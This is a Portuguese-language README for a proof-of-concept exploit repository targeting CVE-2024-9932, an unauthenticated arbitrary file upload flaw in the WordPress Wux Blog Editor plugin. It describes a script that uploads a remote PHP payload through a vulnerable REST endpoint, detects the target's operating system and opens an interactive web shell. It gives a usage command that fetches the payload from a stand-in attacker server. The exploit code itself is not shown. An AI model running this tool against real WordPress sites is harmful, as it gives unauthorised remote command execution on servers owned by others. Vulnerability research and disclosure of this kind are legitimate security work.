Exploit RCE não autenticado de 0-clique para CVE-2024-9932. Explora uma vulnerabilidade de upload arbitrário de arquivo no plugin WordPress Wux Blog Editor para enviar um payload PHP remoto, detectar o sistema operacional alvo e alcançar execução remota de comandos através de um shell web interativo.

Este repositório contém um exploit de prova de conceito para o CVE-2024-9932, uma vulnerabilidade de upload arbitrário de arquivos sem autenticação no plugin Wux Blog Editor do WordPress, que leva à execução remota de comandos (RCE).
O script abusa de um endpoint REST vulnerável para fazer upload de um payload PHP remoto sem autenticação. Após o upload, ele reconstrói a localização final do arquivo, detecta o sistema operacional alvo e fornece um shell remoto interativo para execução de comandos.
python CVE-2024-9932.py --target http://target-wordpress-site --payload http://attacker-server/cmd.php --payload_name cmd.php
Após a execução, o script faz o upload do payload, confirma sua acessibilidade, detecta o SO e oferece um shell interativo.